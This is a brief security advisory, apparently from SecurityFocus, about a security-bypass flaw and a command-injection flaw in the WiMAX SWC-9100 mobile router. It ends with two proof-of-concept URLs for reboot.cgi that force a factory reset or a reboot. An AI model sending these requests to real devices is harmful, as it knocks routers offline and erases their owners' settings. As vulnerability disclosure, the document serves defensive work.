source: https://www.securityfocus.com/bid/65306/info

WiMAX SWC-9100 Mobile Router is prone to a security-bypass vulnerability and a command-injection vulnerability.

Exploiting these issues could allow an attacker to bypass certain security restrictions or execute arbitrary commands in the context of the device. 

http://www.example.com/cgi-bin/reboot.cgi?select_option_value=factory_default&reboot_option=on&action=Apply
http://www.example.com/cgi-bin/reboot.cgi?select_option_value=default_reboot&reboot_option=on&action=Apply